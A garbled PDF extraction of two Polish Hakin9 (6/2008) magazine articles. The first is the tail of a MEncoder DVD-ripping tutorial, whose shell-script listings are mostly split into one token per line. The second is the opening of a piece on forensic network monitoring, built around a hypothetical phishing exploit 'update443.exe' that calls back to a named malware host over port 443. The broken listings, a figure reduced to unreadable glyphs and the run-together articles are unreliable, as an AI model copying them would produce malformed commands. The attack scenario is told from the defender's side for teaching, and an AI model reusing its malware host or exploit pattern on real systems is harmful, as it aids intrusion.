-

v

 

-

v

 

-

dumpstream

 

-

dumpfile

 

"/tmp//tytul_filmu-

cache"

unlink

 

frameno

.

avi

 

2

>

 /

dev

/

null

mencoder

 /

tmp

//

tytul_filmu

-

cache

 

-

oac

 

copy

 

-

aid

 

128

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

900

:

pass

=

1

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

   

-

aid

 

128

  

-

o

 

"/dev/null"

mencoder

 /

tmp

//

tytul_filmu

-

cache

 

-

oac

 

copy

 

-

aid

 

128

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

900

:

pass

=

2

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

   

-

aid

 

128

  

-

o

 

"/home/lucas/tytul_filmu.avi"

unlink

 

divx2pass

.

log

  

2

>

 /

dev

/

null

unlink

 

"/tmp//tytul_filmu-cache"

Listing 5. 

Konwersja materiału filmowego z DVD na AVI

#!/bin/bash

mplayer

 

dvd

:

//

1

 

-

dvd

-

device

 /

dev

/

dvd

 

-

chapter

 

7

-

12

 

-

v

 

-

v

 

-

dumpstream

 

-

dumpfile

 

"/tmp//

moje_pliki-2-cache"

mplayer

 

dvd

:

//

1

 

-

dvd

-

device

 /

dev

/

dvd

 

-

chapter

 

1

-

6

 

-

v

 

-

v

 

-

dumpstream

 

-

dumpfile

 

"/tmp//

moje_pliki-1-cache"

eject

 /

dev

/

dvd

unlink

 

frameno

.

avi

 

2

>

 /

dev

/

null

mencoder

 /

tmp

//

moje_pliki

-

1

-

cache

 

-

oac

 

copy

 

-

aid

 

129

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

1633

:

pass

=

1

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

   

-

aid

 

129

  

-

o

 

"/dev/null"

mencoder

 /

tmp

//

moje_pliki

-

1

-

cache

 

-

oac

 

copy

 

-

aid

 

129

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

1633

:

pass

=

2

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

   

-

aid

 

129

  

-

o

 

"/home/lucas/moje_pliki-1.avi"

unlink

 

divx2pass

.

log

  

2

>

 /

dev

/

null

unlink

 

"/tmp//moje_pliki-1-cache"

mencoder

 /

tmp

//

moje_pliki

-

2

-

cache

 

-

oac

 

copy

 

-

aid

 

129

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

1740

:

pass

=

1

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

   

-

aid

 

129

  

-

o

 

"/dev/null"

mencoder

 /

tmp

//

moje_pliki

-

2

-

cache

 

-

oac

 

copy

 

-

aid

 

129

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

1740

:

pass

=

2

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

   

-

aid

 

129

  

-

o

 

"/home/lucas/moje_pliki-2.avi"

unlink

 

divx2pass

.

log

  

2

>

 /

dev

/

null

unlink

 

"/tmp//moje_pliki-2-cache"

background image

OBRONA

66

 

HAKIN9 6/2008

MENCODER - VADEMECUM RIPOWANIA

67

 

HAKIN9 

6/2008

(

pp=dd, hqdn3d=2:1:2

). Ich użycie 

jest zalecane, gdyż znacznie poprawiają 
jakość materiału wyjściowego. Jeszcze 
tylko skalujemy obraz – przy czym 
należy wspomnieć, że najlepsze efekty 
daje szerokość obrazu 640 p. Wysokość 
jest dopasowana automatycznie. 

Można również zauważyć, że 

MEncoder daje możliwość tzw. 
docinania obrazu (

crop

). W powyższym 

przykładzie nie stosujemy tego, więc 
podano 

crop=0:0:0:0

. Liczby te 

oznaczają kolejno szerokość, wysokość 
oraz współrzędne lewego dolnego rogu 
wycinanego fragmentu obrazu. Teraz 
pozostało jedynie uruchomić drugi 
przebieg i gotowe! (Listing 7.)

Jedyną innowacją jest tu konkretna 

ścieżka dla pliku wynikowego. Jedyne, 
co musimy teraz zrobić, to usunąć 
pozostałości po kodowaniu (czyli pliki 
tymczasowe):

unlink divx2pass.log  2> /dev/null
unlink "/tmp/
  /tytul_filmu-cache"

Osobiście polecam stworzenie pliku np. 
Konwersja.sh o treści przedstawionej na 
Listingu 3.

Aby uruchomić taki plik, wydajemy 

polecenie 

sh Konwersja.sh

 i... możemy 

zająć się czymś innym, ponieważ 
kodowanie zajmie dłuższą chwilę.

DVD: AVI 

(AC3, XVID, 2-PASS)

W powyższym przykładzie dźwięk 
został skompresowany. Czasem jednak 
zależy nam, aby pozostał oryginalny, 
przestrzenny. Aby go wydobyć, wystarczy 
jedynie zamienić 

mp3lame -lameopts 

abr:br=128

 na 

copy

. Teraz program 

nie będzie kompresował dźwięku, lecz 
dosłownie skopiuje go takim, jaki jest. 
Skrypt powinien wyglądać następująco:
(Listing 4)

Jeżeli zamierzasz używać 

oryginalnego dźwięku przestrzennego, 
to rekomenduje się kodowanie filmu 
w dwóch plikach (lub jednym dużym, 
ale jest to niepraktyczne), ponieważ 
gwarantuje to zachowanie bardzo dobrej 
jakości. 

Poniżej zamieszczę gotowy skrypt, 

gdyż własnoręczne podawanie 

Listing 6. 

Konwersja materiału filmowego z DVD na AVI

#!/bin/bash

mplayer

 

dvd

:

//

1

 

-

dvd

-

device

 /

dev

/

dvd

  

-

v

 

-

v

 

-

dumpstream

 

-

dumpfile

 

"/tmp//moje_pliki-

cache"

eject

 /

dev

/

dvd

unlink

 

frameno

.

avi

 

2

>

 /

dev

/

null

mencoder

 /

tmp

//

moje_pliki

-

cache

 

-

oac

 

mp3lame

 

-

lameopts

 

abr

:

br

=

128

 

-

ovc

 

frameno

 

-

o

 

frameno

.

avi

mencoder

 /

tmp

//

moje_pliki

-

cache

 

-

oac

 

copy

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

778

:

pass

=

1

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

  

-

o

 

"/dev/

null"

mencoder

 /

tmp

//

moje_pliki

-

cache

 

-

oac

 

copy

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

778

:

pass

=

2

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

  

-

o

 

moje_

pliki

.

avi

unlink

 

frameno

.

avi

 

2

>

 /

dev

/

null

unlink

 

divx2pass

.

log

  

2

>

 /

dev

/

null

unlink

 

"/tmp//moje_pliki-cache"

Listing 7. 

Konwersja materiału filmowego z DVD na AVI

#!/bin/bash

mplayer

 

dvd

:

//

1

 

-

dvd

-

device

 /

dev

/

dvd

 

-

chapter

 

7

-

12

 

-

v

 

-

v

 

-

dumpstream

 

-

dumpfile

 

"/tmp//

film-2-cache"

mplayer

 

dvd

:

//

1

 

-

dvd

-

device

 /

dev

/

dvd

 

-

chapter

 

1

-

6

 

-

v

 

-

v

 

-

dumpstream

 

-

dumpfile

 

"/tmp//

film-1-cache"

eject

 /

dev

/

dvd

unlink

 

frameno

.

avi

 

2

>

 /

dev

/

null

mencoder

 /

tmp

//

film

-

1

-

cache

 

-

oac

 

mp3lame

 

-

lameopts

 

abr

:

br

=

128

 

-

ovc

 

frameno

 

-

o

 

frameno

.

avi

mencoder

 /

tmp

//

film

-

1

-

cache

 

-

oac

 

copy

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

1633

:

pass

=

1

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

  

-

o

 

"/dev/null"

mencoder

 /

tmp

//

film

-

1

-

cache

 

-

oac

 

copy

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

1633

:

pass

=

2

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

  

-

o

 

film

-

1.

avi

unlink

 

frameno

.

avi

 

2

>

 /

dev

/

null

unlink

 

divx2pass

.

log

  

2

>

 /

dev

/

null

unlink

 

"/tmp//film-1-cache"

mencoder

 /

tmp

//

film

-

2

-

cache

 

-

oac

 

mp3lame

 

-

lameopts

 

abr

:

br

=

128

  

-

ovc

 

frameno

 

-

o

 

frameno

.

avi

mencoder

 /

tmp

//

film

-

2

-

cache

 

-

oac

 

copy

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

1740

:

pass

=

1

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

  

-

o

 

"/dev/null"

mencoder

 /

tmp

//

film

-

2

-

cache

 

-

oac

 

copy

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

1740

:

pass

=

2

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

  

-

o

 

film

-

2.

avi

unlink

 

frameno

.

avi

 

2

>

 /

dev

/

null

unlink

 

divx2pass

.

log

  

2

>

 /

dev

/

null

unlink

 

"/tmp//film-2-cache"

Rysunek 3. 

Proces kodowania materiału filmowego (największe obciążenie systemu)

background image

OBRONA

68

 

HAKIN9 6/2008

kolejnych linijek byłoby dość uciążliwe i 
czasochłonne.(Listing 5.)

Jeszcze tylko jedna uwaga. Skąd 

wiadomo, że należy skopiować rozdziały 

-chapter 1-6

  i 

-chapter 7-12

Należy to wcześniej sprawdzić. Używamy 
do tego polecenia:

ls /media/cdrom/VIDEO_TS | grep VOB

Wyświetli ono listę plików *.VOB, 
czyli nasz materiał wejściowy. Jeżeli 
będzie ich 12, to należy zdefiniować 
parametr chapter tak, jak w powyższym 
przykładzie. Jeśli natomiast będzie ich 
10, to podajemy 1-5 i 6-10.

DVD: AVI 

(MP3, XVID, 3-PASS)

Aby w tekście niczego nie zabrakło, 
zaprezentuję jeszcze trzystopniowy 
proces kompresji.  W pierwszym kroku 
będzie kodowany dźwięk, a w dwóch 
pozostałych obraz. Daje to oczywiście 
najlepszą z możliwych jakość kompresji, 
jednak zabiera też mnóstwo czasu. Tak, 
jak wcześniej materiał wstępny zostanie 
skopiowany na dysk twardy, do katalogu 
z plikami tymczasowymi. 

Dla jednego pliku wynikowego skrypt 

będzie wyglądał następująco:(Listing 
6). A tak będzie to wyglądało, jeśli 

zdecydujemy się, aby film znajdował się 
w dwóch plikach:(Listing 7.)

Jak obliczyć bitrate?

Poniżej przedstawię dwa wzory, które 
pozwalają w przybliżeniu obliczyć bitrate 
oraz rozmiar pliku wynikowego. Pierwszy 
służy do obliczenia odpowiedniego 
bitrate dla materiału filmowego o 
określonej wielkości i długości.(Rysunek 
1. i 2.)

Rozmiar – rozmiar materiału 

filmowego (obrazu) wyrażony w MB,

Długość – długość materiału 

filmowego wyrażona ostatecznie w 
sekundach.

AVI : AVI (MP3, LAVCODEC)

Czasem zachodzi konieczność 
przetworzenia pliku AVI również na AVI, 
lecz używając do tego innych kodeków 
i np. zmieniając rozdzielczość. Załóżmy, 
że do kompresji posiadanego przez 
nas filmu użyto XviD'a, a nam zależy, 
żeby film był zakodowany przy pomocy 
Lavcodec. Nie stanowi to żadnego 
problemu. Analogicznie wygląda to w 
przypadku innych bibliotek. (Listing 10.)

RMVB: AVI (MP3, XVID)

Najprostszym sposobem konwersji pliku 
RMVB na AVI jest użycie polecenia:

mencoder film.rmvb -oac 
mp3lame -ovc xvid -xvidencopts 
bitrate=900 -o film.avi

Oczywiście możemy również dodać kilka 
opcji upiększających, np. 

-vf pp=de, 

crop=0:0:0:0, scale=640:-2, 
hqdn3d=2:1:2

. Wciskamy [ENTER] i nie 

pozostaje nam nic innego, jak radosne 
oczekiwanie na plik AVI.

Jak scalić 

napisy z plikiem wideo?

Niektóre odtwarzacze DVD mają problem 
z odczytywaniem napisów do filmów 
umieszczonych w oddzielnych plikach. 
Najlepszym (a przynajmniej najszybszym) 
rozwiązaniem jest scalenie napisów i 
filmu w jeden zbiór. Poniżej podam prosty 
sposób na wykonanie tej czynności: (Listing 
11.) Osobiście polecam na początek użycie 
dodatkowej opcji, którą można wstawić na 
samym końcu komendy – a mianowicie 

-endpos 10mb

. MEncoder przekonwertuje 

pierwsze 10 MB filmu, dzięki czemu 
będziemy mogli sprawdzić, czy wynik 
końcowy nam odpowiada (np. czy czcionka 
dobrze wygląda).

Podsumowanie

Można śmiało potwierdzić zdanie 
wielu doświadczonych użytkowników 
systemów Linux, że MEncoder należy 
do czołówki najlepszych programów 
kodujących materiał wideo. 

Obsługa nie należy do najprostszych, 

jednak efekty oraz szybkość działania 
zdumiewają wszystkich. Można oczywiście 
skorzystać ze specjalnej nakładki na 
MEncoder, czyli AcidRip. Została ona 
napisana w Perlu, a jej zadanie od 
początku było jasne: połączyć doskonałość 
MEncodera z prostotą GUI. Może jednak 
warto się trochę potrudzić i pracować 
w konsoli, ponieważ zaoszczędzi nam 
to trochę czasu. MEncoder należałoby 
szczególnie polecić początkującym, 
ponieważ zaawansowani użytkownicy 
systemu już dawno docenili jego ogromne 
możliwości.

Łukasz Ciesielski

Autor od 8 lat jest pasjonatem programowania (C/C++, 

Qt, GTK, Pascal, Java oraz Assembler), natomiast od 

7 lat jest wiernym użytkownikiem systemów typu Linux 

(obecnie Debian Etch). 

Kontakt z autorem: lucas.ciesielski@gmail.com

Listing 8. 

Pierwszy stopień kodowania materiału filmowego

mencoder

 /

tmp

//

tytul_filmu

-

cache

 

-

oac

 

mp3lame

 

-

lameopts

 

abr

:

br

=

128

 

-

aid

 

128

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

900

:

pass

=

1

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:

-

2

,

hqdn3d

=

2

:

1

:

2

 

-

aid

 

128

 

-

o

 

"/dev/null"

Listing 9. 

Drugi stopień kodowania materiału filmowego

mencoder

 /

tmp

//

tytul_filmu

-

cache

 

-

oac

 

mp3lame

 

-

lameopts

 

abr

:

br

=

128

 

-

aid

 

128

 

-

ovc

 

xvid

 

-

xvidencopts

 

bitrate

=

900

:

pass

=

2

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:

-

2

,

hqdn3d

=

2

:

1

:

2

 

-

aid

 

128

 

-

o

 

"/ścieżka/do/filmu/tytul_filmu.avi"

Listing 10. 

Zmiana parametrów pliku AVI

mencoder

 

plik_wej

ś

ciowy

.

avi

 

-

oac

 

mp3lame

 

-

lameopts

 

abr

:

br

=

128

 

-

ovc

 

lavc

 

-

lavcopts

 

vcodec

=

mpeg4

:

vhq

:

v4mv

:

vqmin

=

2

:

vbitrate

=

900

 

-

vf

 

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

480

:-

2

,

hqdn3d

=

2

:

1

:

2

 

-

o

 

plik_wyj

ś

ciowy

.

avi

Listing 11. 

Polecenie pozwalające na scalenie napisów z plikiem video

mencoder

 

plik_wej

ś

ciowy

.

avi

 

-

oac

 

copy

 

-

ovc

 

xvid

 

-

xvidencopts

 

fixed_quant

=

5

 

-

sub

 

napisy

.

txt

 

-

subcp

 

cp1250

 

-

font

 /

scie

ż

ka

/

do

/

czcionka

.

ttf

 

-

o

 

plik_wyj

ś

ciowy

.

avi

background image
background image

70

 

OBRONA

HAKIN9 6/2008

I

ncydent Titan Rain i kolejne publicznie 
ujawnione przypadki penetracji sieci 
rządowych Stanów Zjednoczonych, Wielkiej 

Brytanii i Niemiec obnażają rzeczywiste „dziury” 
w systemach i małą sprawność ich właścicieli 
w rozpoznawaniu zagrożeń. Powtarzające się, 
specyficzne przypadki nieautoryzowanego 
dostępu do informacji wskazują na istnienie grup 
działających w sposób zorganizowany i celowy. 

W międzyczasie w międzynarodowym 

sektorze prywatnym rosną nakłady na 
infrastrukturę i procesy bezpieczeństwa. Okazuje 
się jednak, że nakłady te nie są z jakiegoś powodu 
skuteczne. W 2005 roku amerykańska firma 
TJX stała się publicznym przykładem błędów i 
zaniedbań bezpieczeństwa. Analizując informacje 
prasowe z ostatnich lat jasno wynika, że nie 
jest to przykład odosobniony. W ciagu ostatnich 
dwóch lat niemal 1000 innych organizacji zostało 
zmuszone do przyznania się do włamań głównie 
powiązanych ze stratami danych osobowych 
klientów. 

Jeśli kluczowe dane mogą być kradzione 

z taką łatwością przez zorganizowane 
grupy przestępcze, stwierdzenie, że wyniki 
najcenniejszych badań i inne wartościowe 
ekonomicznie informacje we wszystkich sektorach 
gospodarki również mogą zostać przejęte przez 
opłaconych bądź przypadkowych sprawców, 
nie jest nadużyciem. Dlaczego zatem nie mamy 
bardziej gruntownej wiedzy na temat tych 
zagrożeń?

EDDIE SCHWARTZ, 

PRZEMYSŁAW KREJZA

Z ARTYKUŁU 

DOWIESZ SIĘ

o słabych punktach dzisiejszych 

zabezpieczeń systemowych,

co to jest total network 

knowledge,

jak wygląda spojrzenie śledcze 

na incydenty.

CO POWINIENEŚ 

WIEDZIEĆ

powinieneś znać podstawy 

zasad bezpieczeństwa 

informacji,

powinieneś znać podstawy 

reakcji na incydenty.

Technologia nie

jest zaawansowana

Skala zagrożeń istotnie zwiększyła się w ostatnich 
latach jednak systemy bezpieczeństwa sieci 
tak naprawdę nie stały się znacznie bardziej 
zaawansowane. Od czasu gdy wprowadzono 
na rynek pierwsze systemy IDS, podejście 
do bezpieczeństwa wcale się nie zmieniło, 
wzrosły jedynie nakłady i pojawiły kolejne 
wersje oprogramowania. Pierwotne założenie 
systemów wykrywania włamań utrzymuje się 
do tej pory, choć było odpowiednie dla tamtych 
czasów: aby incydent został wykryty, atak 
musi być udokumentowany i wprowadzony do 
monitoringu, jako wzór sygnatur lub zachowań, 
najczęściej na zasadzie zewnętrznych definicji 
firm dostarczających dane rozwiązanie. 
Sensory IDS wymagają wielu wyjątków w celu 
eliminacji błędnych alarmów z właściwego ruchu 
sieciowego. Ponadto zastosowanie IDS na dużą 
skalę generuje tak dużo zdarzeń, że wyłonienie ich 
z poziomu szumów jest bardzo trudne, w związku 
z czym administratorzy bezpieczeństwa uznają 
konieczność wprowadzenia oprogramowania do 
zarządzania wyjątkami (SIEM) w celu poprawienia 
poziomu szumów. Jednak cała ta infrastruktura 
ciągle bazuje na kilku niekompletnych i wadliwych 
założeniach, ugruntowując następujące poglądy 
na zagrożenia:

•   Przeciwnik atakuje używając znanych metod, 

które są udokumentowane i skatalogowane w 

Stopień trudności

Monitoring 

zabezpieczeń

Współczesne firmy i organizacje skupiają się na stosowaniu 

tradycyjnych form obrony przed wzrastającą falą ataków 

sieciowych, typu IDS/IPS, SIM itd. Coraz większa liczba 

incydentów dowodzi jednak, że rozwiązania te nie są w pełni 

skuteczne.

background image

71

 

MONITORING ZABEZPIECZEŃ

HAKIN9 

6/2008

bibliotece systemu IDS/IPS lub innym.

•   Logi z firewalli, serwerów i innych 

urządzeń zawierają wystarczające 
informacje pozwalające wykryć i 
usunąć problem, jeśli wystąpi.

Oba te założenia są niebezpiecznie 
wadliwe i uosabiają krytyczne luki we 
współczesnych możliwościach technologii 
bezpieczeństwa stosowanych w większości 
organizacji.

Krok do przodu

 – platformy śledcze

total network knowledge

Aby uniknąć tych błędów, organizacje 
powinny uzupełnić realizowane inwestycje w 
bezpieczeństwo i procedury bezpieczeństwa 
o odpowiednią infrastrukturę zdolną 
do głębokiej identyfikacji zagrożeń, 
umożliwiającą również gromadzenie 
dowodów. Taka platforma śledcza 
musiałaby działać ponad szacunkami i 
zgadywaniem związanym z analizą logów 
oraz bezpieczeństwie bazującym na 
sygnaturach i musiałaby mieć poniższe 
możliwości:

•   Dogłębne przechwytywanie i 

rekonstrukcja ruchu sieciowego we 
wszystkich sesjach.

•   Profilowanie i wizualizacja 

charakterystyk ruchu sieciowego 
w oparciu o warstwę aplikacji i z 
możliwością rozkładu oraz analizy 
ruchu.

•   Posiadanie możliwości analitycznych 

i narzędzi umożliwiających dostęp 
do tych informacji również innym 
klientom – interaktywnie i w sposób 
automatyczny.

Koncepcja sniffingu pakietów i ruchu 
sieciowego nie jest niczym nowym dla 
administratorów sieciowych zajmujących 
się problemami i wydajnością sieci. 
To właśnie ruch sieciowy, a nie logi 
czy zdarzenia na końcówkach IDS, 
zawiera wszystko, co dzieje się w sieci. 
Z perspektywy bezpieczeństwa właśnie 
na tym poziomie należałoby kontrolować 
incydenty. Zrozumienie tej tezy i 
wykorzystanie możliwości monitoringu sieci 
bazujące na przechwytywaniu pakietów 
prowadzi do koncepcji następnej generacji 
narzędzi bezpieczeństwa oferując nowe i 

ulepszone spojrzenie na problemy od razu, 
gdy wystąpią pozwalając równocześnie 
na remediacjię. Zaawansowane platformy 
śledcze dają takie możliwości.

Aby lepiej zrozumieć możliwości 

monitoringu sieciowego opartego o 
platformę śledczą, spróbujmy sobie 
wyobrazić, że posiadamy rozbudowane 
rozwiązanie do przechwytywania i analizy 
pakietów na poziomie całej sieci. Załóżmy 
następujący przypadek: pewna grupa 
otrzymała zlecenie kradzieży danych 
osobowych naszych klientów. Ponieważ 
jedną z najbardziej skutecznych metod ataku 
jest phishing, przygotowano dedykowanego 
exploita i skonstruowano odpowiedni mail 
skierowany do managementu naszej firmy. 
Spreparowany mail pochodzi od zaufanej 

organizacji i zawiera prośbę o wypełnienie 
ankiety na fałszywej stronie WWW. 

Strona ta zawiera niebezpieczny 

kod zawarty w pliku „update443.exe”, 
który zostaje uruchomiony bez wiedzy 
użytkownika. Kod modyfikuje plik 

IEXPLORE.EXE

, dając przeciwnikowi 

ścieżkę komunikacyjną do sieci 
użytkownika poprzez port TCP 443 
– typowo otwarty w większości sieci i 
generalnie nie monitorowany szczegółowo, 
oprócz wyjątkowo dziwnych zachowań. 
Ten przykład ma na celu wyłącznie 
pokazanie możliwości obejścia 
hipotetycznego systemu wyposażonego 
w oprogramowanie rozpoznające wzorce 
i korelujące zdarzenia. W normalnych 
warunkach zapewne konieczne byłoby 

Rysunek 1. 

Spojrzenie śledcze na exploit „update443.exe”

Fakty dzisiejszego dnia:

•   Ataki przypadkowe zamieniły się w celowe, precyzyjne działanie;
•   Ugruntował się podziemny rynek programistyczny;
•   Przemysł przestępczy rośnie logarytmicznie – w latach 1997-2004 odnotowano 100 tys. 

ataków on-line a w kolejnych dwóch już dwa razy więcej;

•   „Robak” na zamówienie kosztuje od $10,000 - $100,000; 
•   Hakerzy „ideologiczni” przestali się liczyć;

Cele działań zorganizowanych:

•   Zysk;
•   Kradzież informacji (tajemnica państwowa, własność intelektualna, tożsamość);

Złośliwe oprogramowanie:

•   Zaawansowane i skomplikowane o niespodziewanych możliwościach;
•   Przetestowane i wysokiej jakości.
•   Stabilne,
•   Wyprodukowane za pomocą profesjonalnych narzędzi;
•   Finansowane przez bogate organizacje.

background image

OBRONA

72

 

HAKIN9 6/2008

spełnienie większej ilości założeń, aby atak 
nie został zatrzymany przez IDS czy system 
antywirusowy. Niemniej ich spełnienie 
przy ataku celowym jest możliwe. W 
przeciwieństwie do tych systemów, 
platforma śledcza niczego nie zakłada z 
góry – dając pełne możliwości analityczne. 
Dzięki temu analityk sieciowy ma 
możliwość błyskawicznego rozpoznania 
zagrożenia. Kiedy nasz użytkownik został 
nabrany i uruchomił exploita, w ruchu 
sieciowym zobaczymy:

•   nieproporcjonalnie duży ruch na port 

TCP 443, którego wcześniej nie było,

•   pojawienie się ruchu do 

graceofholland.org (host z malware),

•   pojawienie się w sieci pliku 

update443.exe.

Na przedstawionym zrzucie ekranu 
z platformy NetWitness NextGen, 
zgromadzone są wszystkie informacje o 
bieżącym ruchu sieciowym. Możliwa jest 
też ich głębsza analiza, pozwalająca na 
analityczne spojrzenie na skalę zagrożeń:

•   Rozwinięcie informacji o sesjach 

związanych z plikiem update443.exe 
może wskazać analitykowi, które 
komputery dotknął problem oraz jak 
plik wędrował w sieci. 

•   Zrozumienie wektorów ruchu 

związanych z graceofholland.org 

może pomóc obsłudze firewalli np. w 
zaimplementowaniu odpowiedniego 
zakazu.

•   Dokładniejsza analiza ruchu 

wychodzącego z komputera-ofiary 
pozwoli określić prawdziwą naturę 
problemu. 

Rysunek 2. obrazuje zapis ruchu 
wychodzącego z komputera-ofiary. Wynika 
z niego, że co 8 sekund poprzez port 
TCP 443 zostaje wysłana informacja o 
wielkości 366 bitów. Stosując narzędzie 
do dekodowania pakietów, możemy 
zobaczyć treść tego ruchu (nawet, jeśli 
jest szyfrowany).

Krok następny – reakcja

Co zatem powinno się zdarzyć teraz? 
Dysponując wiedzą przedstawioną w 
zarysie powyżej, możemy podjąć działania 
w celu przywrócenia odpowiedniego 
poziomu bezpieczeństwa sieci. 

•   Analiza skali w celu upewnienia się, 

że inne stacje nie są zainfekowane 
przykładowym malware oraz usunięcie 
go z sieci.

•   Głębsza analiza sieci z użyciem 

pełnego przechwytywania pakietów w 
celu upewnienia się, że przedstawiona 
metoda jest jedyną metodą 
ataku w danej chwili, np. poprzez 
bardziej szczegółowe spojrzenie 
na niestandardowy ruch w sieci, na 
portach 80, 443, 53, 25 itd.

•   Zmiana konfiguracji firewalli i/lub 

wzbogacenie IDS o nową sygnaturę.

•   Skierowanie bezpośrednio do winnego 

użytkownika komunikatu o złamaniu 
zasad bezpieczeństwa i narażeniu 
organizacji.

•   Zmiana polityk w zakresie otwartości 

portu TCP 443.

•   Remediacja.

Zaprezentowane tu reakcje są w 
znacznym stopniu manualne, jednak 

Rysunek 2. 

Spojrzenie śledcze na ruch wychodzący z zaatakowanego komputera

Ewolucja narzędzi bezpieczeństwa

Bezsporne fakty:

•   Luka czasu pomiędzy nieznanym incydentem a lekarstwem jest na ogół duża;
•   Narzędzia powstają by walczyć z konkretnymi problemami, na zasadzie: wirus -> antywirus;
•   Rozwiązania nie chronią przed nieznanym;

Rysunek 3. 

Historia zagrożeń i rozwiązań bezpieczeństwa.

W Sieci:

•   http://www.mediarecovery.pl,
•   http://www.forensictools.pl,
•   http://www.netwitness.com,
•   http://www.guidancesoftware.com.

������������

�����

����

��������

����

����

����

����

�������

����

��������

���������

���������

����

���

���� ����

����

���������

�������

����

�����������������

�������

����

����������

�����

�������

background image

MONITORING ZABEZPIECZEŃ

73

 

HAKIN9 

6/2008

zaawansowane platformy śledcze 
typu Netwitness NextGen czy Encase 
Enterprise oferują również mechanizmy 
automatycznej reakcji i jej powiązania 
z innymi istniejącymi systemami, 
rozszerzając znacznie ich możliwości i 
pozwalając na odpowiednie zarządzanie 
incydentem. Nawet zagrożenia typu 
zero-day czy zachowania szpiegowskie 
lub kryminalne mogą być obsłużone 
natychmiast. Dla przykładu – w sytuacji 
wykrycia nienormalnego ruchu sieciowego 
na porcie 53 (DNS), w czasie gdy ruch ten 
jest obserwowany pod kątem kontekstu 
i zawartości, platforma śledcza pozwala 
analitykom bezpieczeństwa reagować 
na bieżąco i nie odwracać uwagi od 
rzeczywistego problemu.

Podsumowanie

Większość – nawet dużych – organizacji, 
planując nakłady na bezpieczeństwo nie 
zakłada, że systemy „przedincydentalne” 
przygotowują organizację wyłącznie na 
znane zagrożenia. Równocześnie, wg. 
ankiety przeprowadzonej przez Forrester 
Research, jedną z największych na świecie 
firm zajmujących się badaniem rynku, 60 
procent menadżerów bezpieczeństwa nie 
potrafi odpowiedzieć na pytanie: ile kosztują 
moją organizacje incydenty bezpieczeństwa

Okazuje się, że w większości przypadków nie 
istnieją w firmach i instytucjach mechanizmy 
szacowania skali, a kosztów tych nie da się 
policzyć. Duża część incydentów nie jest 
nawet poznana. W związku z tym nie potrafią 
oni uzasadnić zarządom uzasadnienia 

wydatków na te cele. W efekcie niespełna 30 
procent badanych przeznacza jakiekolwiek 
środki na monitorowanie i mechanizmy 
pozwalające wyjść poza incydent. Problem 
ten nie występuje przy budżetowaniu zakupów 
typu antywirus. Tymczasem możliwość 
spojrzenia na sieć niejako z góry i absolutna 
wiedza o wszystkim, co się w niej dzieje, 
nawet w skali przedsiębiorstwa daje zupełnie 
inne możliwości ochrony również przed 
nieznanym. Takie podejście do incident 
response
 pozwala uchronić się przed 
stratami, a w każdym razie z całą pewnością 
je minimalizować. Analiza ruchu na poziomie 
sieci uniemożliwia ukrycie w niej czegokolwiek. 
Narzędzie typu Netwitness, pozwalając na 
pełne przechwytywanie pakietów i analizę 
sieci, daje nowe spojrzenie na przyszłość 
ułomnych systemów bezpieczeństwa.

Znane incydenty bezpieczeństwa

Titan Rain (2003)

Był jednym z pierwszych dużych skoordynowanych ataków na duże sieci rządowe, którego ofiarą padły 
NASA, rządowe laboratoria USA a nawet Locheed Martin. Winą za działania obciążono chińczyków 
jednak ich rzeczywista natura (opłacone działania szpiegowskie?) pozostała nieznana. Dopiero w 
2005 roku dyrektor jednego z instytutów zajmujących się bezpieczeństwem s Stanach Zjednoczonych 
przyznał, że istnieją dowody na to, że działania te były koordynowane przez wywiad chiński.

TJX (ok. 2005)

Firma TJX była przykładem poważnych zaniedbań bezpieczeństwa, dzięki którym zorganizowana 
grupa przestępcza wykradła około 50 mln kart kredytowych i ok. 500 tys. danych osobowych 
klientów TJX. Proceder kradzieży danych trwał co najmniej kilkanaście miesięcy a, wg. niektórych 
informacji, nawet lat. Działania finansowane były prawdopodobnie przez rosyjską mafię a straty 
